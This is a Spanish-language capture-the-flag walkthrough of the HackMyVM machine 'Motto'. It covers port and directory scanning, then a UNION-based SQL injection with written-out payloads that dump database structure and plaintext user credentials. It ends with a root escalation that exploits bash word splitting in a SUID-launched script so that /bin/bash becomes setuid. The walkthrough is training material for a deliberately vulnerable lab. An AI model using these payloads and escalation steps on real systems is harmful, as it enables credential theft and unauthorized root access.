cd ~/blog

~/writeups/hmv/139-motto.md

139 - Motto

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
UNION-Based SQL InjectionSUID Binary Abuse mediante Bash Word Splitting
hackmyvm.eu/machines/machine.php?vm=Motto

~1 min de lectura


Enumeración de servicios

Enumeramos puertos:

❯ nmap -sCV -p 22,80,9090 -oN 02-targeted.txt 10.206.94.20
...
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3
80/tcp   open  http    Apache httpd 2.4.62 ((Debian))
9090/tcp open  http    Golang net/http server
|_http-title: Mottos
...

Enumeramos directorios en el puerto 9090 y encontramos /login, /register y /myinfo:

❯ gobuster dir -u 'http://10.206.94.20:9090' -w directory-list-2.3-medium.txt -x php,txt,html,sql,xml,zip,sh -r
login                (Status: 200)
register             (Status: 200)
myinfo               (Status: 200)

Extracción de credenciales mediante UNION-Based SQL Injection

Registramos la cuenta pwned:asdfasdf. La página /myinfo utiliza el valor modificable de nickname en una consulta vulnerable a SQL Injection. El payload booleano hace que /mymottos devuelva mensajes de todos los usuarios, lo que confirma que la entrada altera la consulta. A continuación usamos UNION SELECT con tres columnas y situamos cada dato en la tercera, que es la posición reflejada por la página:

-- base de datos en uso  → sql
pwned' UNION SELECT 1,2,database()-- -
-- todas las bases       → information_schema, performance_schema, mysql, sql
pwned' UNION SELECT 1,2,nombre_esquema FROM information_schema.schemata-- -
-- tablas de 'sql'       → motto_infos, register_infos
pwned' UNION SELECT 1,2,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='sql'-- -
-- columnas de register_infos → user_id, nickname, username, password
pwned' UNION SELECT 1,2,column_name FROM information_schema.columns WHERE table_schema='sql' AND table_name='register_infos'-- -
-- volcado de credenciales
pwned' UNION SELECT 1,2,CONCAT(username,0x3a,password) FROM register_infos-- -
admin is no use:admin is no use
RedBean:cannotforgetyou
pwned:asdfasdf

El volcado revela las credenciales de RedBean. Linux distingue mayúsculas y minúsculas en los nombres de cuenta, y la sesión registrada se inicia como redbean. Tras obtener la primera flag, buscamos binarios SUID:

redbean@motto:~$ find / -perm -4000 2>/dev/null
...
/opt/run_newsh
...

Escalada mediante Bash Word Splitting

El análisis de run_newsh muestra que ejecuta setuid(0) y entrega nuestro único argumento a /opt/new.sh. Como el binario posee SUID, el script termina evaluando la entrada en un contexto privilegiado. La copia encontrada en ~/.backup contiene estas comprobaciones:

[ -n "$1" ] || exit 1
[ "$1" = "flag" ] && exit 2
[ $1 = "flag" ] && chmod +s /bin/bash

La primera comparación sólo exige una entrada no vacía. La segunda conserva "$1" como una única cadena y rechaza exactamente flag; con "flag ", el espacio final evita esa coincidencia. En la tercera, $1 no está entre comillas, así que Bash aplica word splitting y elimina el espacio que separa palabras. El valor termina comparándose como flag, se ejecuta chmod +s y el binario SUID convierte esa diferencia de interpretación en una escalada:

redbean@motto:/opt$ ./run_newsh "flag "

redbean@motto:/opt$ ls -l /bin/bash
-rwsr-sr-x 1 root root 1168776 Apr 18  2019 /bin/bash

redbean@motto:/opt$ bash -p
bash-5.0# whoami
root

bash -p conserva el UID efectivo de root y completa la escalada.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados